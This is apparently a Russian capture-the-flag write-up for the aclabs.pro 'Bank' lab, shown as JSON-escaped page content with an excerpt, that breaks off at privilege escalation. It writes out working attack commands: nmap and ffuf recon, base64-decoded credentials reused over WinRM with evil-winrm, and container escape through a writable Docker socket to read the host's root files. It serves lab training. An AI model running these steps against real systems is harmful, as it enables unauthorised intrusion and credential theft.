\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0432\u0434\u0440\u0443\u0433 \u0444\u0430\u0439\u043b \u0441 \u0444\u043b\u0430\u0433\u043e\u043c \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e-\u0434\u0440\u0443\u0433\u043e\u043c\u0443.<\/p>\n
curl -s --unix-socket \/var\/run\/docker.sock \\    -X POST http:\/\/localhost\/containers\/7832d67d794a1454ed561fe17c44aa97b1240bd5848c4ab0056dfe835a548dd3\/startcurl -s --unix-socket \/var\/run\/docker.sock \\    \"http:\/\/localhost\/containers\/7832d67d794a1454ed561fe17c44aa97b1240bd5848c4ab0056dfe835a548dd3\/logs?stdout=1&stderr=1\"        total 52;drwx------    5 root     root          4096 Jun  1 10:47 .<drwxr-xr-x   18 root     root          4096 Jun  1 10:10 ..G-rw-------    1 root     root          7628 Jun  6 10:13 .bash_historyA-rw-r--r--    1 root     root           607 Mar  2 21:50 .bashrcAdrwx------    3 root     root          4096 May 13 14:42 .dockerB-rw-------    1 root     root            20 Jun  1 10:47 .lesshst@drwxrwxr-x    3 root     root          4096 May  7 11:56 .localB-rw-r--r--    1 root     root           132 Mar  2 21:50 .profileJ-rw-rw-r--    1 root     root            66 Jun  1 10:22 .selected_editor>drwx------    2 root     root          4096 May 19 11:04 .sshD-rw-rw-r--    1 root     root           207 May  7 12:37 .wget-hstsB-rw-rw-r--    1 root     root            38 Jun 29 15:01 root.txt<\/code>
<\/a><\/div><\/pre>\n
\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u043b\u0430\u0433, \u043c\u0435\u043d\u044f\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u0430\u0439\u0434\u0438\u0448\u043d\u0438\u043a \u0443\u0436\u0435 \u0431\u0443\u0434\u0435\u0442 \u043d\u043e\u0432\u044b\u0439, \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438 \u0447\u0438\u0442\u0430\u0435\u043c \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0440\u0443\u0442\u0430.<\/p>\n
\"\u0424\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439<\/p>\n
\u0424\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u043b\u0430\u0433 \u0440\u0443\u0442\u0430<\/figcaption><\/div>\n<\/figure>\n
Mr.Exploit<\/code> — \u0441\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u044c \u044d\u0442\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u044b\u0439, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043c\u0435\u0442\u043e\u0434 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b\u043e\u043c. \u042f \u043e\u0431 \u044d\u0442\u043e\u043c \u0434\u0430\u0436\u0435 \u043d\u0435 \u043f\u043e\u0434\u0443\u043c\u0430\u043b, \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b \u0438 \u0440\u0435\u0448\u0438\u043b \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c.<\/p>\n
\u0410 \u043f\u043e\u043b\u043d\u044b\u0439 \u0432\u0438\u0434\u0435\u043e \u0440\u0430\u0437\u0431\u043e\u0440 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 yotube \u043a\u0430\u043d\u0430\u043b\u0435 mister exploit<\/a><\/p>\n
\n
\u0420\u0430\u0439\u0442\u0430\u043f \u043e\u0442 @alfabuster<\/a><\/p>\n<\/blockquote>\n<\/div>\n
\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 https:\/\/habr.com\/ru\/articles\/1085490\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
\u0422\u0430\u0441\u043a \u0411\u0430\u043d\u043a aclabs.pro\u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u0421\u043b\u043e\u0436\u043d\u044b\u0439 \u0442\u0430\u0441\u043a \u0441 6 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 \u0438 2 \u043c\u0430\u0448\u0438\u043d\u0430\u043c\u0438. \u0412 \u043f\u0435\u0440\u0432\u043e\u0439 \u0437\u043e\u043d\u0435 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0443 \u043d\u0430\u0441 Windows \u043c\u0430\u0448\u0438\u043d\u0430 \u0441 \u0432\u0435\u0431\u043e\u043c, \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e winrm \u0441 \u043f\u0435\u0440\u0432\u044b\u043c \u0444\u043b\u0430\u0433\u043e\u043c. \u0417\u0430\u0442\u0435\u043c \u043d\u0430 \u044d\u0442\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 acl. \u0414\u0430\u043b\u0435\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0433\u0434\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0434\u0440\u0443\u0433\u043e\u0439 \u0445\u043e\u0441\u0442 \u0443\u0436\u0435 \u0441 linux \u043d\u0430 \u0431\u043e\u0440\u0442\u0443. \u0412\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0432\u0435\u0431, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0438\u043d-\u043a\u043e\u0434 (\u0442\u0440\u0435\u0442\u0438\u0439 \u0444\u043b\u0430\u0433).\u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 \u043d\u0430\u0441 \u0436\u0434\u0435\u0442 \u043d\u043e\u0432\u044b\u0439 \u043f\u043e\u0440\u0442, \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043a\u0430\u043d\u0435, \u043e\u043d \u0431\u044b\u043b \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d. \u041f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0443, \u0432 \u043a\u043e\u0440\u043d\u0435 \u043b\u0435\u0436\u0438\u0442 4 \u0444\u043b\u0430\u0433. \u0414\u0430\u043b\u0435\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a, \u0435\u0433\u043e \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0435\u0432\u0435\u0440\u0441\u0438\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d \u0434\u0435\u043b\u0430\u0435\u0442, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b etc\/shadow. \u0418\u0437 \u043d\u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0445\u044d\u0448 \u0440\u0443\u0442\u0430 \u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c\u0441\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 (5 \u0444\u043b\u0430\u0433).\u0412 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0444\u0430\u0439\u043b \/var\/run\/docker.sock, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0438 \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u0440\u0438\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0445\u043e\u0441\u0442\u043e\u0432\u0443\u044e \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u043b\u0430\u0433 \u0440\u0443\u0442\u0430 \u043d\u0430 \u0445\u043e\u0441\u0442\u0435.\u041c\u0430\u043f\u043f\u0438\u043d\u0433 MITRE ATT&CK\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u043e\u0442 Positive Technologies.\u0424\u0430\u0437\u0430\u0422\u0430\u043a\u0442\u0438\u043a\u0430\u0422\u0435\u0445\u043d\u0438\u043a\u0430ID\u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0440\u0442\u043e\u0432\u0418\u0437\u0443\u0447\u0435\u043d\u0438\u0435\u0418\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0441\u043b\u0443\u0436\u0431T1046\u041f\u043e\u0438\u0441\u043a \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435\u0420\u0430\u0437\u0432\u0435\u0434\u043a\u0430\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435: \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439T1595.002\u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 Base64 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\u041d\u0435\u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435: \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445T1552.001\u0423\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0447\u0435\u0440\u0435\u0437 WinRM\u041f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430\u0421\u043b\u0443\u0436\u0431\u044b \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430: WinRMT1021.006\u0417\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 ACL (GenericWrite)\u0417\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435\u041c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044eT1098\u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438\u0418\u0437\u0443\u0447\u0435\u043d\u0438\u0435\u0418\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043cT1018\u041f\u0435\u0440\u0435\u0431\u043e\u0440 HMAC PIN-\u043a\u043e\u0434\u0430\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\u041c\u0435\u0442\u043e\u0434 \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430: \u0432\u0437\u043b\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u0439T1110.002\u0411\u044d\u043a\u0434\u043e\u0440 \u0432 ProFTPD (pre-auth)\u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438T1190PostgreSQL COPY FROM PROGRAM\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u0418\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432: Unix ShellT1059.004\u0417\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 SUID-\u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u043e\u043c\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439\u041e\u0431\u0445\u043e\u0434 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439: Setuid \u0438 SetgidT1548.001\u0414\u043e\u0441\u0442\u0443\u043f \u043a \/etc\/shadow\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \/etc\/passwd \u0438 \/etc\/shadowT1110.002\u041f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 Docker socket\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439\u0412\u044b\u0445\u043e\u0434 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430T1611\u0420\u0430\u0437\u0432\u0435\u0434\u043a\u0430\u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0446\u0435\u043b\u0438, \u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.sudo nmap -sC -sV -v 10.10.10.211 -Pn…PORT     STATE SERVICE       VERSION53\/tcp   open  domain        Simple DNS Plus80\/tcp   open  http          Microsoft IIS httpd 10.088\/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-29 08:02:26Z)135\/tcp  open  msrpc         Microsoft Windows RPC139\/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn389\/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: bank.acl, Site: Default-First-Site-Name)445\/tcp  open  microsoft-ds?464\/tcp  open  kpasswd5?593\/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0636\/tcp  open  tcpwrapped3268\/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: bank.acl, Site: Default-First-Site-Name)3269\/tcp open  tcpwrapped5357\/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)5985\/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\u0423 \u043d\u0430\u0441 \u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u043e\u0432, \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0435 \u0434\u043b\u044f windows domain controller + \u0432\u0435\u0431 \u043d\u0430 80 \u043f\u043e\u0440\u0442\u0443. \u0421\u0440\u0430\u0437\u0443 \u0438\u043c\u0435\u0435\u0442 \u0441\u043c\u044b\u0441\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0430\u0439\u0442.\u041d\u0430 \u0432\u0445\u043e\u0434\u0435 \u043d\u0430\u0441 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u0431\u0430\u043d\u043a\u0430 \u041a\u043e\u0442\u043e\u0444\u0435\u0439 \u0428\u0435\u0440\u0441\u0442\u044f\u043d\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0437\u0430 \u0435\u0434\u0443\u2026\u0412\u0435\u0431-\u0441\u0430\u0439\u0442 \u0431\u0430\u043d\u043a\u0430\u0414\u0430\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u0430 \u043d\u0435 \u043e\u0441\u043e\u0431\u043e \u043f\u043e\u043c\u043e\u0436\u0435\u0442, \u0432 \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0438, \u043d\u043e \u044e\u043c\u043e\u0440 \u043c\u043d\u0435 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f.\u0412\u0437\u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u0443\u0432\u0438\u0434\u0438\u043c \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0443.\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441\u0430\u0439\u0442\u0430\u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 devops.php, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u043e\u0438\u0442 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0437\u0443\u0447\u0438\u0442\u044c. \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 devops.php\u0417\u0434\u0435\u0441\u044c \u0435\u0441\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043e\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0442\u043e\u043b\u043a\u043d\u0443\u0442 \u043d\u0430 \u043d\u0443\u0436\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438. \u0418\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0430\u043f\u043a\u0430 employes, \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043b\u0435\u0436\u0430\u0442 \u0442\u0430\u043c, \u043d\u043e \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f, \u043e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u0438\u0445 \u0442\u0430\u043c \u043d\u0435\u0442. \u041e\u043d\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f, \u043d\u043e \u0441\u0447\u0435\u0442\u0447\u0438\u043a \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430\u0440\u044f\u0436\u0430\u0435\u043c ffuf.\u0424\u0430\u0437\u0437\u0438\u043d\u0433 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0437\u0434\u0435\u0441\u044c \u0431\u0443\u0434\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u0430\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u043c . \u043f\u0435\u0440\u0435\u0434 \u0441\u043b\u043e\u0432\u043e\u043c FUZZ, \u0438 \u0443\u043a\u0430\u0436\u0435\u043c \u0442\u0438\u043f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 .txt.ffuf -u http:\/\/10.10.10.211\/employees\/.FUZZ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -ic -c  -e .txt        \/’___\\  \/’___\\           \/’___\\              \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/              \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\              \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/               \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\                 \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/              v2.1.0-dev________________________________________________ :: Method           : GET :: URL              : http:\/\/10.10.10.211\/employees\/.FUZZ :: Wordlist         : FUZZ: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt :: Extensions       : .txt  :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 40 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500________________________________________________                        [Status: 403, Size: 1233, Words: 73, Lines: 30, Duration: 98ms]script.txt              [Status: 200, Size: 3159, Words: 355, Lines: 84, Duration: 87ms]\u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0444\u0430\u0439\u043b script.txt.\u0415\u0441\u043b\u0438 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435, \u0442\u043e \u043a\u0438\u0440\u0438\u043b\u043b\u0438\u0446\u0430 \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u043e\u0442\u043a\u0440\u044b\u043b \u0444\u0430\u0439\u043b \u0447\u0435\u0440\u0435\u0437 curl.alt text\u0417\u0434\u0435\u0441\u044c \u043c\u0435\u043d\u044f \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 encoded_credentials, \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u043e\u043d\u0430 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 base64. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0442\u0435\u043e\u0440\u0438\u044e.echo ‘d2ViLXNydiA6IEZoM296RmFHM3lMeWhOIXA=’ | base64 -d                                    web-srv : Fh3ozFaG3yLyhN!p \u041d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0435 \u043b\u0438 \u043a\u0440\u0435\u0434\u044b \u043e\u0442 winrm.nxc winrm 10.10.10.211 -u web-srv -p ‘Fh3ozFaG3yLyhN!p’WINRM       10.10.10.211    5985   WIN-TSQ2V8LHSN5  [*] Windows Server 2022 Build 20348 (name:WIN-TSQ2V8LHSN5) (domain:bank.acl) WINRM       10.10.10.211    5985   WIN-TSQ2V8LHSN5  [+] bank.acl\\web-srv:Fh3ozFaG3yLyhN!p (Pwn3d!)\u0412\u0438\u0434\u0438\u043c \u043f\u043b\u0430\u0448\u043a\u0443 (Pwn3d!), \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u0447\u0435\u0440\u0435\u0437 evil-winrm.\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0438 \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f, \u0431\u0435\u0440\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u0441\u0442\u043e\u043b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f web-srv.evil-winrm -i 10.10.10.211 -u ‘web-srv’ -p ‘Fh3ozFaG3yLyhN!p’\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433\u041d\u0430 \u044d\u0442\u043e\u043c \u0448\u0430\u0433\u0435 \u044f \u043f\u043e\u0442\u0435\u0440\u044f\u043b \u043c\u043d\u043e\u0433\u043e 